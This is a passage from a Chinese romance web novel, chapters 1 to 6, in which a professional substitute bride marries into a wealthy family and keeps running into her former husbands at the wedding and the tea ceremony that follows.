《职业替嫁,离婚后四大豪门抢疯了》 第一章 第四次替嫁 她,职业替嫁。 先后替逃婚的富家千金嫁过瞎子、瘫子、聋子,疯子。 结果第四次替嫁的时候翻了车,三个前夫齐齐找上了门…… …… “新娘子来啦!” 欢呼声中,菘蓝穿着婚纱款款走进礼堂。 面对满堂宾客的注视,她一点也不紧张,也不激动。 毕竟,这是她第四次结婚了。 这一次,她要代替徐家小姐徐幼蓝,嫁进海都顶级豪门沈家。 沈家少爷沈错,是个有精神病的疯子,据说还虐杀过女人。 所以三日前,徐家小姐逃婚了。 二十年前,强势的沈老爷子迷信玄学,听信算命先生的谗言,逼着徐家订了娃娃亲。 如今,到了履行婚约的时候。 徐家不敢得罪沈家,可又心疼女儿,只好偷摸找菘蓝替嫁。 两家是协议婚约,期限一到,她就可以提出离婚。 如果沈家到时候不肯放人,她就假死逃离。 但在这期间,她绝对不能被人拆穿。 徐家一直把女儿养在国外,几乎没人见过她,所以菘蓝这次连仿妆都不用化,顶着徐小姐的身份闭眼嫁。 台上。 菘蓝逆光站着,模糊的光晕将她的白色婚纱涂上一层柔光。 她的背很薄,在光中的剪影像一只折翅的鹤。 等了很久,新郎还没到场,台下的宾客开始窃窃私语。 “咦?这新娘子都到了,怎么没看见新郎啊?” “这沈少爷有精神疾病,该不会连婚礼都不能参加吧?” “听说沈少爷压根就不愿意娶徐家女.....” 闲言碎语一浪高过一浪,菘蓝很尴尬地在台上站着。 婚礼当天,不见新郎,怠慢新娘,对于这种事情,她一点也不感觉意外。 都让她替嫁了,男方能是什么好东西? ** 公海,游轮。 沈错咬着烟,斜倚着光滑的桅杆,黑色大衣被海风吹的猎猎作响。 他的身上全是血,但没有一滴是他的。 身边的随从上前点烟,仰头问道:“爷,今天可是您大喜的日子,您却跑来出任务,这婚不结了?” 沈错慢吞吞地抬起头,露出一双冰冷、漆黑、看人没有温度的眼。 “不结,谁爱结谁结。” 随从掏出手机,点开婚礼现场的视频,递到沈错面前,“爷,新娘子可漂亮了,您真不回去啊?” 在看到新娘的瞬间,沈错波澜不惊的眸子闪过一丝错愕。 她,竟然是徐家养在外面的那个女儿? 沈错一把扯掉身上沾满血污的大衣,原本喑哑低沉的声音微微变了调。 “安排直升机,我要回去结婚。” ** 婚礼现场。 没有新郎,仪式没法继续进行,宾客们交头接耳,各种猜测满天飞。 漂亮的新娘子孤零零地站着,形影单只的背影惹人怜惜。 沈错的堂兄沈枫眼睛眨也不眨地看着菘蓝,视线贪婪黏腻。 他走到沈老爷子面前,大着胆子道:“爷爷,堂弟肯定不会来的,要不我代替他走流程吧?误了吉时可就不好了。” 沈老爷子拄着拐杖想了想,然后出人意料地点了点头:“行。” 菘蓝微微皱眉。 可真新鲜,她还是第一次见到堂兄替新郎结婚的。 听到沈老爷子答应,沈枫理了理西服,笑嘻嘻地去牵她的手。 突然,众人耳畔响起一阵巨大的引擎声,轰鸣的声响震得人胸腔发麻。 她看向窗外,发现天边飞来一排直升机。 几分钟后,十架直升机呈包围之势悬停在云层上,领头的直升机正与她遥遥相望。 在众人惊讶的眼神中,直升机的舱门打开,一道黑色身影凌空跃下。 强风呼啸,一人从天上降落,引得众人连连尖叫。 沈错选择了高跳低开,借助仪器计算后,他打开伞包,在极短的滞空时间内,精准地落在了露台上。 他的黑色大衣在风中翻飞,目光落在菘蓝被人牵着的手上。 他大步走上前,像踢易拉罐一样一脚踢飞沈枫,讥诮道: “堂兄现在替我拜堂,晚上是不是还想替我入洞房啊?” 沈枫还没反应过来,就被踹出了两米远。 随后,沈错踩着红毯,目不斜视地走向菘蓝,温柔地牵起她的手,微笑道: “你好呀,我的小新娘~” 菘蓝看向眼前的年轻男人。 男人身姿挺拔,宽肩窄腰,五官精致帅气,面部折叠度高,下颚线条薄而利,是顶级的骨相。 这种长相可塑性极大,要是化仿妆,仿什么像什么。 “啪!” 沈错冲着愣神的司仪打了个响指,笑着问道:“接下来是什么流程?” 司仪:“哦哦,接下来新郎要为新娘戴上婚戒,然后亲吻新娘。” 他点点头,接过花童手里的钻戒,轻柔地戴在菘蓝的无名指上。 修长的青葱玉指莹莹生光,造型俗气的钻戒反倒败坏了美感。 他凑到她耳边轻声道:“这钻戒配不上你,我会给你买新的。” 说完,便低头吻上了菘蓝的唇。 唇瓣相碰,鼻息交缠,这一吻,吻得猝不及防,温柔炽热。 菘蓝愣了一秒,下意识偏头错开,白嫩的小脸泛起一抹红晕。 她微微低头,将新娘的娇俏和羞怯演绎得淋漓尽致。 “新郎新娘百年好合!” 台下宾客掌声雷动,喝彩连连。 菘蓝往台下扫了一眼,沈家是百年世家,海都顶级豪门,来参加婚宴的宾客都是有头有脸的人物。 当目光扫到第一排的时候,她看到了一个沉稳周正的身影。 那人穿着白西装,头发梳的一丝不苟,像山一样沉闷地坐在椅子上。 只一眼,她的心瞬间提到了嗓子眼。 周正安!她第一任前夫! 三年前,周正安遭遇车祸,双腿瘫痪且失明,不久后,他的未婚妻叶小姐也在国外不幸遇难。 周家担心儿子受不了接二连三的打击,便委托她假扮叶小姐。 她和周正安领了假证,拜了堂,结了婚。 后来周正安伤势逐渐恢复,国外又传来叶小姐没死的消息,她这个替身没了用处,便拿钱走人。 她没想到,三年后,竟会在这种场合遇到周正安。 似乎感觉到有人在看自己,周正安也抬头看了过去。 目光相撞之际,菘蓝猛然偏头,顺手放下了头纱。 周正安当时双目失明,没有见过她的样子,但周家其他人见过她的样貌,她还是小心点为好。 长长的银色头纱倾泻而下,一直拖曳到婚纱的尾部,她像是披了一身月华。 她悄悄扯了扯沈错的衣角,指着台下问道:“坐第一排的,都是你什么人啊?” 沈错看了眼台下道:“第一排第一个穿白西服的,是我奶奶那边的亲戚,算我远房表叔,第二个.....” 听完,菘蓝脑子嗡得一声炸了。 什么!她前夫是现任老公的表叔!? 第二章 前夫聚一窝 菘蓝攥着裙摆,心跳如鼓。 周家在青州,距离海都十万八千里,两家相隔这么远,居然都能扯上关系? 周正安,青州地界的话事人,金融领域的商业巨擘,跺跺脚都能让世界抖三抖,要是知道自己被骗了,估计掘地三尺也不会放过她。 而且,如果身份暴露,沈家也不会放过她,她的雇主也会跟着遭殃。 她的委托金也就打水漂了。 不行,绝对不能被认出来。 菘蓝深吸了几口气,压下心头繁杂的情绪,她看向沈错,试探性地问道: “那,周家这次来的人多吗?” 沈错往台下看了一圈,然后道:“我们家跟奶奶家关系不太好,好像就表叔一个人来了。” 听完,她稍微松了一口气。 那就好,也就是说现场没人认识她。 过了一会。 周正安起身朝两人走了过来,手里拿着礼盒,他要来送新婚礼物。 他的眼睛已经好了,看人时嘴角微微上扬,带着几分克制的温柔,可眸光偏又清冷疏离,隐隐给人一种上位者的压迫感。 看到越走越近的男人,菘蓝努力让自己镇定。 周正安不可能认出她的。 他当时双目失明,没见过她的样貌,她在周家的时候,也是模仿叶小姐的声音说话,并没有用自己的原声。 “咦?你用的是什么香水?这么好闻?” 沈错突然低头,轻轻嗅了一下菘蓝的脖颈。 是一股淡淡的冷香,像月夜雪地吹来的风,清甜纯净。 菘蓝愣了一下:“啊,我没有用香水啊......” 可能是体香? 一想到体香,她顿时警觉了起来。 周正安双目失明后,嗅觉越来越灵敏,后来他单单凭借嗅觉,就能分辨出身边的人。 不行,她得找瓶香水喷一喷,要是被闻出来就不好了。 “我,我去补个妆。” 看着周正安越走越近,菘蓝提着裙摆落荒而逃。 她跑到化妆间,随手拿起一瓶香水冲着脖颈、手腕、裙摆猛喷。 整个人都被香水腌入味了,甜腻的香味浓到呛鼻。 回到婚礼现场,她看到沈错站在礼台旁等她。 月白色的光罩在头顶,男人的五官笼了层深浅不一的阴影,面部轮廓显得更加深邃立体。 眉骨、眼窝、挺直的鼻梁、轻扬的薄唇、流畅的下颌都像是一笔一画精心雕刻出来的。 堪称女娲的炫技之作。 菘蓝小小震撼了一下。 这男人,顶着光都能这么帅。 看到菘蓝回来了,他漂亮的瑞凤眼轻轻一弯,夸赞道: “哇,你身上好香啊。” 她身上确实很香,喷了大半瓶香水能不香吗? 香得都快能熏死人了。 菘蓝往下拉了拉头纱,她的脸像隐在一层薄雾中,影影绰绰,看不清样貌。 周正安上前给两人送新婚礼物,简单说了句:“新婚快乐。” 他手中的礼盒里躺着一对情侣手环。 手环是月桂叶的造型,别致而精巧,周围镶嵌了一圈紫色的宝石,一看就价值不菲。 菘蓝眸光闪了闪。 东西是好东西,可惜她不是真正的沈家少夫人,这些东西,她走的时候,也不能带走。 她假扮叶小姐的时候,周正安出手很阔绰,送了她一堆金银珠宝。 可惜走的时候,都还给了周家。 “谢谢表叔。” 菘蓝道了声谢,周正安礼貌点了点头,他的目光落到她手上的时候,猛地顿了一下。 眼前的手,修长洁白,骨节细腻如瓷,清透的指尖像草叶上凝结的晨露。 他记得。 他双目失明的时候,有一双手曾帮他拨开云雾,带他感知世间万物。 他没有见过那双手,但通过触摸,他在脑海中千万次描绘过它的样子。 他记得那双手的手型,每一根手指的长短,每一节骨节的粗细,每一个手窝的大小。 眼前这双手,他脑海中记忆的数据一模一样。 周正安沉寂的内心,突然像煮沸的热水一样开始喧哗。 他攥紧手心,抬眸看向披着头纱的菘蓝,想看清她长什么模样。 突然,他嗅到一股呛鼻的香水味,浓郁的香味让他喉咙发痒。 周正安沸腾的内心瞬间被泼了一盆凉水。 不,不是她。 她不喜欢香水,也从来不喷香水。 送完新婚礼物后,周正安一言不发地走开,端正地坐在椅子上,他背脊挺得笔直,可眼神失魂落魄。 婚宴开席,新郎新娘要去换敬酒服。 换衣服的时候,菘蓝隐约听到隔壁传来一个低沉的男声。 “李管家,我当时结婚的婚礼录像还在吗?我突然想看看。” 菘蓝心头瞬间一紧。 是周正安? 换衣间的隔壁是休息室。 周正安端坐在沙发上,他的面容沉静如水,可拿着手机的右手,却微微有些发抖。 菘蓝侧着耳朵偷听,身子紧绷得像一张弓。 他要看婚礼录像? 听起来可不太妙。 周正安要是看了以前的婚礼录像,那她不就暴露了? 过了一会,电话那边传来一个略带抱歉的声音: “少爷,我刚刚去找了,但很可惜的是,录像带数据损坏,您跟夫人的婚礼录像已经丢失了。” 周正安缓缓放下手机,眼底掠过一抹失望,“好,我知道了。” 所有人都在骗他,包括他最信任的管家。 菘蓝在心里默默给李管家点了一个赞。 不愧是周家,做事就是滴水不漏。 估计不仅婚礼录像,家里的监控录像应该都一并销毁了。 既然如此,那她等会可以大摇大摆地出去敬酒了。 换下婚纱后,菘蓝穿了一套秀禾服,她提着裙摆走出房间,没走几步,看到一个人坐着轮椅,被一群保镖簇拥着推了过来。 只一眼,菘蓝心跳就漏了一拍。 天啊!白楚年? 她第二任前夫! 要命!前夫怎么聚一窝了! 第三章 他们都认识! 白楚年坐在轮椅上,长发撩到耳侧,露出一张美到极致的脸。 只是那张脸面容苍白,神情忧郁沉冷,薄唇毫无血色,有一种病态的美。 酒店的走廊里没什么人,两人的方向刚好相对,眼见白楚年缓缓抬头,菘蓝呼吸顿时一滞。 然而,就在此时。 对面房间的门突然打开了。 沈错从里面走了出来,他正好背对着走廊,挡住了所有人的视线。 精心打扮了一番的沈错,穿着挺括英气的西装,他把头发都梳了上去,露出了饱满的额头,英挺的眉骨和深邃的眼眸。 整个人帅得更加惹眼。 看到沈错,菘蓝灵机一动,俏皮地眨了眨眼睛,冲他吹了个口哨:“哎呀,没想到我的新郎,穿西装也蛮帅的。” 听到“也”字,沈错平直的嘴角翘成了钩子。 正要开口说话,菘蓝突然拽住他的领带,猛地往下一拉,然后踮起脚尖,轻轻吻了上去。 这个突如其来的吻,让沈错愣在了原地。 两人唇齿相碰,舌尖相抵,呼吸交缠间,一缕果香钻进沈错的鼻腔。 他感觉像喝了口柑橙味的鸡尾酒,口腔里升起一堆酸酸甜甜的气泡。 菘蓝吻得很轻,唇瓣总是若即若离,勾得沈错身体里泛起酥酥麻麻的痒意。 沈错眼神一暗,一手箍紧菘蓝的细腰,一手扣住她的后颈,狠狠回吻了过去。 他像一只食髓知味的野兽,放纵自己汹涌的本能。 两人在走廊里吻得难舍难分,白楚年没好意思打扰,假咳一声,朝身后的保镖挥了挥手,示意转道绕行。 其他人也很有眼力见,脸上带着促狭的笑意,抿着嘴角跑开了。 看到人都走了,菘蓝连忙一把推开沈错,接吻时间太长了,她差点憋死。 菘蓝像浮出水面呼吸的鱼儿一样,张着小嘴,唇瓣微翕,看得沈错有些意动。 他欺身上前,两手撑在墙上,以一种禁锢的姿势把人环在中间,坏笑道:“我的新娘,你不会喜欢上我了吧?” 他的小新娘,怎么又是投怀送抱又是主动献吻。 菘蓝内心翻了个白眼,一个工具人还自恋上了。 虽然内心腹诽,可她却仰起明媚的小脸,笑吟吟道:“对呀,我喜欢长得好看的人,而你正好长到了我的审美点上。” 听到这句话,沈错嘴角翘起的弧度越来越大,“所以,你对我一见钟情?” 菘蓝转了转眼珠子,语气俏皮,“你可以认为,我钟意你的脸。” 沈错目光沉沉。 真好,他对她念念不忘,她对他一见钟情。 菘蓝害怕去宴会厅的路上又会撞到白楚年,便返回更衣室换了套敬酒服,又找了顶重工流苏金冠戴在头上。 沈家打造了好几个黄金头冠,她一开始嫌弃太重累脖子,就没有戴,但现在她可顾不上重不重了。 长长的金色流苏像面纱一样垂至胸前,菘蓝那张明媚的小脸隐在流苏的后面,外人还没看清样貌,就被金灿灿的颜色晃花了眼。 沈错携着菘蓝缓缓走进大厅的时候,四面八方都投来了惊艳的眼神。 不过,投来的不止眼神,还有一些闲言碎语。 “听说了吗?刚刚新娘子拉着新郎,在走廊里抱着啃,啧啧,太不知羞了。” “这婚宴还没结束,就迫不及待想要洞房了,这新娘子有多饥渴啊?” “徐家女都一个样,长相魅惑,最会勾男人了,沈家娶的这个少夫人,估计也不是什么好货。” “啧,你们看,徐家也知道自己名声不太好,婚宴都没几个人来。” “啊?徐家女怎么了?有什么我不知道的八卦吗?” 嘈杂的婚宴上,有人举杯祝福,有人言语奚落,有人吃瓜看戏。 听着身边的闲言碎语,菘蓝侧起了耳朵。 这些人是在说她?徐家女怎么了? 沈错举起酒杯的手一顿,微微眯起眼睛,径直朝着议论声最大的那桌宾客走了过去。 “既然你们已经吃饱了,那就别吃了。” 说完,沈错一把将面前的饭桌掀翻。 哗啦啦,碎瓷乱迸,餐盘和碗筷摔了一地。 一瞬间,满堂寂静,所有人愣愣地看着沈错,一句话也不敢说。 沈错嘴角噙着笑意,从司仪手中抢走话筒,把麦克风声音开到最大,不疾不徐道: “感谢各位来参加我的婚礼,虽然我和你们并不熟,但也没必要熟。 在场的诸位,管好你们的嘴,不该说的别说,不该问的别问,我不乱管闲事,你们也别招惹我。 相互尊重,别逼我发疯。” 沈错特意把最后几个字,咬得特别重,麦克风的声音极大,震得窗户都在抖。 让保镖把那桌宾客丢出去后,沈错理了理西服,面带微笑地看向众人:“垃圾已经清理出去了,大家吃好喝好。” 司仪也立马接话控场:“对对对!大家吃好喝好,吃好喝好!” 菘蓝呆在原地,愣愣地看着沈错。 这人,刚刚是在为她出头? 她其实也挺想听八卦的,她也好奇徐家女的口碑为什么会如此之差。 其实除了假扮徐小姐,徐家还委托了她另一件事。 嫁进沈家之后,她要查清沈夫人,也就是沈错母亲的下落。 沈错母亲是徐家现任家主的妹妹,据说十几年前就去世了,然后秘密葬在了沈园。 但徐家家主一直觉得沈夫人没死,认为她被沈家囚禁起来了。 如果人真死了,她要找到沈夫人的尸体,然后带回徐家安葬。 这两个任务完成,她就能得到一笔极其丰厚的报酬。 可惜徐家不肯透露太多,很多情报需要她自己收集。 菘蓝垂眸,沈夫人也是徐家女,难道...... 看到菘蓝呆站着,沈错以为她被自己吓到了,连忙将她圈进怀里,笑道:“别怕,我是不会伤害你的。” 沈错很爱笑,可他总是笑得不合时宜。 菘蓝总觉得他笑容下藏着刀子。 都说沈错有精神病,她现在是信了几分,这人肯定有点不正常。 菘蓝伸手推开沈错,一转头就看到周正安推着白楚年走了过来,而沈错正朝他们举杯示意。 菘蓝身子猛地一僵。 她本来还抱有一丝侥幸心理,以为白楚年只是刚好住在这个酒店。 现在看来,他也是来参加婚礼的。 更糟糕的是,他们三个好像还相互认识? 第四章 可别来碍事 眼看两人走过来,菘蓝下意识想避开,结果沈错却揽着她的腰迎了上去。 他朝两人举起酒杯,笑意吟吟道:“感谢你们来参加我的婚礼。” 菘蓝戴着金冠,垂下来的流苏虚虚遮住了她的容貌,隐约只能看见尖巧的下巴和嫣红的嘴唇。 周正安微微点头,没有说话,眼角余光一直落在菘蓝的手上。 白楚年看了眼被掀翻的酒桌,语气戏谑道: “阿错,新婚快乐啊,只是好久不见,你脾气还是这么暴,小心吓跑了新娘子。” 本来笑意吟吟的沈错,在听到后半句后,嘴角突然变得平直。 他瞟了眼白楚年的腿,反唇相讥道:“多年没见,还瘫着呢?怪不得没人愿意嫁你,原来是瘫久了,立不起来了。” 两人一站一坐,相对而视,眼神交锋中火花四溅。 周正安皱了皱眉:“你们两个怎么还跟小时候一样,一见面就掐。” 菘蓝心头微微一跳,她本以为两个前夫哥和现任老公只是认识,没想到他们还很熟。 她得想办法离开这里,她怕再聊下去,婚礼现场要变成修罗场了。 打定主意,菘蓝微微弓起腰,悄然用手捂住肚子,隐忍地咬紧唇瓣。 一直在偷看菘蓝的周正安立即发现了她的异样,连忙问道:“你怎么了?” 这声询问惊动了沈错,他一转头就看到菘蓝捂着肚子,身子微微发颤。 沈错问道:“你身体不舒服?” 菘蓝轻轻点了点头,流苏晃动,露出紧咬的唇。 随后,她凑到沈错耳畔,声音羞涩道:“可能....是生理期要来了,肚子有点疼。” 沈错立刻道:“那我带你回去。” 菘蓝摇头,看了眼满堂宾客,抿了抿唇:“我没事的,只是肚子有点疼,我可以坚持.....” 还没等她说完,沈错直接单手把她抱了起来,“坚持什么坚持,不舒服就回去休息。” 菘蓝微微挣扎。 “不行,还没敬酒新郎新娘就提前离席,这太失礼了。” 在婚礼这种万众瞩目的隆重场合,就算新人身体不适,一般也会硬撑着走完全程,更何况是最注重名声和脸面的豪门世家。 然而,沈错脚步一顿,缓声道: “你是我沈错的妻子,不需要在乎别人的看法,更不用在意什么狗屁礼节。” 话落,在众目睽睽中,沈错直接抱着菘蓝离场,连一句解释的话都没有。 晃动的金色流苏下,菘蓝唇角微微翘起,琉璃般的眸子神采奕奕。 她找对了沈错的“按钮”。 每个人身上都有一个能激发和影响自身行为的“按钮”,只要按下开关,对方就会按照她设定好的轨道运行。 她猜的没错,沈错这个人,很离经叛道,最讨厌世俗的约束和管教。 他会在婚礼上迟到,会打破常规从天而降,会在婚宴上动手打人,会因为闲言碎语直接掀桌。 那么,肯定也会在她顾忌礼节的时候,直接带她离场。 两人身后,坐在轮椅上的白楚年蹙着眉,病恹恹的脸上掠过一阵恍惚。 新娘的背影,怎么会跟她那么像..... 出了酒店,一辆黑色轿车在沈错身边停下,车门自动打开后,他小心翼翼地抱着菘蓝上了车。 礼服的裙摆像海浪一样在车厢里铺开,菘蓝像只安静小猫,乖巧地窝在沈错怀里。 她想起婚宴上遇到的白楚年,试探着问道:“今天,跟你呛声的那个人是谁?就是坐在轮椅上的那个,你和小叔好像跟他很熟。” 沈错哦了一声:“他啊,白楚年,我发小,你不用理会他,他不是什么好人。” 听到白楚年是沈错发小,菘蓝顿时有点心梗,这几人也太熟了吧。 她当然知道白楚年不是什么好人。 那死狐狸看上去病殃殃的,人畜无害,其实脚踏黑白两道,心黑手狠,眦睚必报,总爱疑神疑鬼。 当初她替嫁到白家,好几次差点被识破身份,最后还被卷进帮派纠纷,要不是她机灵假死脱身,现在坟头草估计都三米高了。 在她认识的人里,白楚年绝对是最难缠的那个。 “你跟他关系不怎么好?” 菘蓝试探性地问道。 沈错低头搓了搓手,语气中带着笑意,“我和他关系挺好的,两肋插刀的那种,把他的肋骨掰下来,再往他身上插两刀。” 菘蓝:“........” 两肋插刀是这样解释的吗..... 愣神间,菘蓝突然感觉腹部覆上一阵热意。 她低头一看,发现沈错把搓热的手放在了她的小腹上。 “别动,我给你捂一会。” 沈错一只手垫在菘蓝脑后,给她当枕头,一只手放在她的小腹上,充当暖手宝。 源源不断的热意汇聚在腹部,身体像晒了太阳一样温暖。 菘蓝垂眸,睫毛微微颤了颤。 她的第四任老公,还挺会照顾人。 只是不知道,他到底是什么路数。 他是把她当眼睛、当耳朵,还是当棋子、当人质? 抑或是......当拉仇恨的挡箭牌? 豪门联姻的核心是利益,往往充满了利用与算计,表面夫妻恩爱,背后不知道藏着多少龃龉。 如果沈家是个好归宿,徐家怎么可能找人替嫁。 这个沈错肯定也不是什么省油的灯。 这样想着,菘蓝的心又冷硬了几分。 但她下一秒,便主动伸手环住沈错的腰,语气软软道: “老公,你真贴心,对我真好,只是我们就这样撇下宾客走了,实在不礼貌,那些外地来的宾客,有没有安排好住宿呀?” 她其实是想知道,周正安和白楚年会不会在海都逗留,什么时候离开。 听到这一声娇娇软软的老公,沈错的心脏像是触了电,狠狠颤了颤。 他嘴角扬起笑意,捏着菘蓝的下巴道:“这声老公叫得真好听,再叫一声。” 菘蓝从善如流,连喊两声:“老公,老公,回答我!” 沈错听爽了,笑道:“放心,有人安排的,不过表叔有事,应该今晚就走,白楚年那个病秧子要去邻市看医生。” 听到这句话,菘蓝心里乐开了花。 都走都走,都走得远远的,可别来碍事。 ........ “不,不走了,海都这边,我有一个想要考察的项目。” 婚宴大厅,周正安正与沈老爷子攀谈。 沈老爷子:“嗯,那就干脆去沈园住几天,明天还能喝到侄媳妇奉的茶。” 周正安抿了口凉茶,他本来已经定了酒店,但一想起那双纤细修长的手,便鬼使神差地点了点头:“好!” 第五章 给前夫哥敬茶 回到沈园,沈错吩咐佣人煮了红糖姜茶,亲自端到菘蓝面前。 “趁热,快喝。” 菘蓝低眸一看,红糖姜茶煮的透亮,为了去除姜的辣味,还加了黄澄澄的糖心苹果。 姜与红糖、苹果的香味交织在一起,翻滚出绵密的甜意。 菘蓝喜欢吃甜。 她接过瓷碗,一口气喝完了姜茶,然后躺在床上休息。 因为太累,没一会就沉沉睡了过去,结果一觉就睡到了傍晚。 半醒不醒的时候,她听到一阵窸窸窣窣的衣料摩擦声,像是有人在脱衣服。 菘蓝下意识睁眼,看到沈错在床边脱外套,他一手扯领带,一手解扣子。 他的白衬衫微微敞开,隐隐露出两排紧致结实的腹肌。 看到菘蓝醒了,沈错动作没停,继续脱衣服,又伸手去解腰间的皮带。 菘蓝睁大眼睛,“等等,你干什么!” 沈错看了她一眼,很理所当然道:“干该干的事啊。” 菘蓝紧张地用手攥紧被子。 不是吧,这人上来就要做? 她连忙道:“不,我....我现在生理期,而且我们是联姻,今天才见第一面,我们根本没有任何感情基础,这种事要讲究水到渠成.....” 沈错按在皮带上的手一顿,看向菘蓝的眼神有些莫名其妙。 “你在说什么?洗个澡还需要水到渠成?” 呃..... 知道自己误会了,菘蓝尴尬地躺回床上,用被子把自己裹成了一条毛毛虫。 只是她没有注意到,低着头的沈错嘴角微微翘起,眼底划过一抹逗弄。 浴室响起淅淅沥沥的水声。 过了一会,沈错腰间缠着条浴巾走了出来。 他的黑发滴着水,水珠顺着凸起的喉结一路下滑,滑过锁骨、胸膛,壁垒分明的腹肌,最后顺着流畅的人鱼线,落进浴巾里消失不见。 整个人有种说不出的性感。 菘蓝从被子里探出头,单手撑着下巴,欣赏地吹了个口哨。 “噢哟,身材不错哦。” 沈错嘴角翘起:“谢谢夸奖。” 菘蓝像小狐狸一样眯起眼睛,话锋一转道:“虽然但是,我习惯一个人睡觉,我们才刚认识,还需要磨合感情。” 沈错挑眉:“所以?” 菘蓝:“所以,我睡床,你去睡沙发!” 她语气娇嗔,白皙的脸上带着羞涩的红晕,灵动的眸子里藏着雾气。 像个被宠坏的小公主,娇里娇气的。 徐小姐是被徐家娇惯和宠溺长大的掌上明珠,有点小脾气,小任性。 按照人设,她可以适当作作妖。 根据她的经验,顶着一张漂亮精致的脸蛋,只要拿捏好分寸,就算蛮横娇纵一些,也不会惹男人厌烦。 像现在这种情况,男人只会以为她在用娇纵来掩饰害羞。 沈错的反应果然如她预料,看着她低笑道: “啧,今天在婚宴主动索吻的人是谁?我的新娘子怎么又害羞又大胆的?” “哼....” 菘蓝缩进被窝,闷闷哼了一声。 白天不过是逢场作戏罢了,工作需要。 过了一会,屋里没声了,菘蓝从被窝里探出头,看到沈错真的老老实实去睡了沙发,不禁有些疑惑。 这人怎么这么好说话。 从他的言行来看,怎么看都不是个好相处的人。 这人莫不是想跟她上演夫妻恩爱的戏码? 就像当初她代替李小姐嫁进白家,白楚年对她也是纵容宠溺,但其实不过是在演戏,白楚年对她好,只是为了迷惑和安抚李家,方便背后动刀子。 菘蓝仰躺在床上,把玩着耳畔的发丝,乌溜溜的眸子波光流动。 算了,不管他心里打的什么算盘,尽管放马过来。 她见招拆招。 要是兜不住了,大不了故技重施,死遁跑路。 ** 翌日。 沈家所有长辈都到齐了,一个个揣着红包,等着新媳妇奉茶。 周正安端坐在椅子上,英俊的面容沉静如水,他静默的像块冰,话语稀少珍贵,与热闹的人群格格不入。 他在脑海里一遍又一遍地描绘着一双手。 他很想见见那双手的主人长什么模样。 他是盲人的时候,只能通过触摸去“看”世界,他曾在无数个夜晚,偷偷抚摸她的脸,抚摸她的五官和轮廓,努力想象着她的模样。 没有人知道,他在心里画了一张肖像。 那是一个很漂亮的女人,他爱她,尽管她骗惨了他。 菘蓝并不知道前面有个大惊喜在等着她。 一想到等会奉茶有红包拿,她的嘴角就止不住上扬。 她眼睛亮晶晶的,像是雪地里蹦跶了半天找到了一堆坚果的小松鼠。 沈错本来不想去,他压根没拿沈家那帮人当长辈。 但看到菘蓝一脸期待的模样,他根本无法拒绝。 去见长辈,衣着要得体,菘蓝特意穿了一件竹青色旗袍,外面罩着白色流苏披肩,她将长发盘在脑后,露出光洁白皙的脖颈。 整个人看上去温柔恬静,秀丽雅致,是长辈们喜欢的那一挂。 当阳光照进庭院的时候,她的周身金尘飞舞,整个人美到发光。 沈错为了跟菘蓝凑情侣装,特意穿了件白色新中式立领衬衫,还在手腕上缠了两圈竹青色串珠。 光线透过叶缝照在他的侧脸,将他高挺的鼻梁和优越的下颌线照得透亮。 他背脊笔直,往庭院里一站,像一枝沾雪的青竹。 两个人站在一起,十分惹眼。 菘蓝亲昵地挽起沈错的手臂,笑得十分灿烂,“走吧,老公,我们去收红包!” 沈园,客厅。 屋内乌泱泱的坐满了人,德高望重的沈老爷子被众人簇拥着,坐在正中间。 当菘蓝和沈错出现在门口的时候,众人不约而同地看了过去。 两人新人并肩站着,一青一白,男俊女靓,十分登对。 与此同时。 周正安也看到了菘蓝,他的视线猛地收紧,脑海深处恍若炸开一道惊雷。 世界突然变得寂静无声,他目不转睛地看着菘蓝,脸颊上的肌肉隐隐颤动,眼里再也看不到其他人。 是她..... 那张在他脑海中描绘了千千万万遍的脸! 第六章 他的第二双眼睛 没有人知道,他后来学了绘画,他用纸和笔勾勒出了他抚摸过的那张脸。 她面部的轮廓、眉骨的长度、五官的形状,是他烂熟于心的数据。 周正安死死盯着菘蓝,情绪像澎湃的潮汐一样起起伏伏。 虽然眼前的人,跟他凭借想象描绘出的人一模一样,但他依旧不能确定。 毕竟他没有真正看到过她。 不过,只要让他再摸一次她的脸,他就能确认了。 比起眼睛,他现在更相信他的手。 周正安内心激荡,情绪翻江倒海,但脸上的表情依旧不动如山,他只是默默坐在那里,同旁人一样,静静打量着菘蓝。 菘蓝一抬眼,正好对上周正安的视线,她眉心一跳,身躯骤然紧绷,全身的血液一股脑涌向头顶。 周正安怎么在这里!他不是已经回去了吗! 心神仅仅激荡了几秒,菘蓝就稳住了呼吸。 镇定,不要慌! 周正安没见过她的样貌,况且她假扮叶小姐的时候,一直模仿叶小姐的声音说话。 他肯定一直以为陪伴在他身边的是叶小姐。 想到这里,菘蓝将垂在耳畔的发丝撩到耳后,脸上露出一个很自然的微笑,冲着沈老爷子喊了一声: “爷爷!我们来了。” 沈老爷子很满意地点了点头,然后去看一旁的沈错。 沈错脸上没什么表情,看所有人的眼神像是在看是空气。 佣人们端来茶盏,菘蓝双手奉茶,恭恭敬敬地递到沈老爷子面前:“爷爷,请您喝茶。” 沈老爷子笑呵呵地接过茶杯,然后递过去一个鼓鼓囊囊的大红包。 菘蓝的眼睛瞬间亮了,眉眼一弯:“谢谢爷爷,祝爷爷福如东海,寿比南山,日月昌明,松鹤长春。” 沈老爷子捋了捋胡子,笑道: “什么寿比南山,长春不老,我都是半只脚踏进棺材的人了,我只希望在有生之年,能看到沈园添丁加口,子孙兴旺。” 催生,老一辈人的执念。 菘蓝抿唇,假装羞涩地笑了笑。 沈错往椅子上一坐,随意拿起一盏茶,喝了半口,语气凉凉道: “求人不如求己,想看沈园添丁加口,那您不如自己生,70岁的年纪,正是当父亲的时候。” “咳咳.....” 沈老爷子一口茶哽在了喉咙里,咳了半天才咽下去。 一屋子的人表情都很精彩。 然而,沈老爷子并没有说什么责备的话,只拿起毛巾擦了擦嘴,看向菘蓝道: “阿错性格不好,脾气暴,我是管不了他,你替我管管。” 菘蓝捏着厚厚的红包,笑吟吟地点了点头:“好!” 沈错看了菘蓝一眼,没有说话,坐回到椅子上,手指有一下没一下地敲击着茶盖。 沈家长辈多,菘蓝挨个奉茶,没一会,茶案红包就堆成了小山。 忙活了一圈,菘蓝转眼一看,就差周正安了。 她镇定自若地捧着一杯茶,走到了周正安面前。 碧色的茶盏将她的指尖衬得更加白嫩。 茶水清澈,映出一张美人脸。 周正安没有接茶盏,静静地看着她,想从她的脸上看出一丝波澜,但却一无所获。 菘蓝端着茶,像对待其他长辈一样,语气亲近又疏离道: “表叔,请喝茶。” 周正安抿着唇,静静看着眼前这张在脑海中描绘过千千万万遍的脸。 他紧紧攥着手,努力克制想摸上去的冲动。 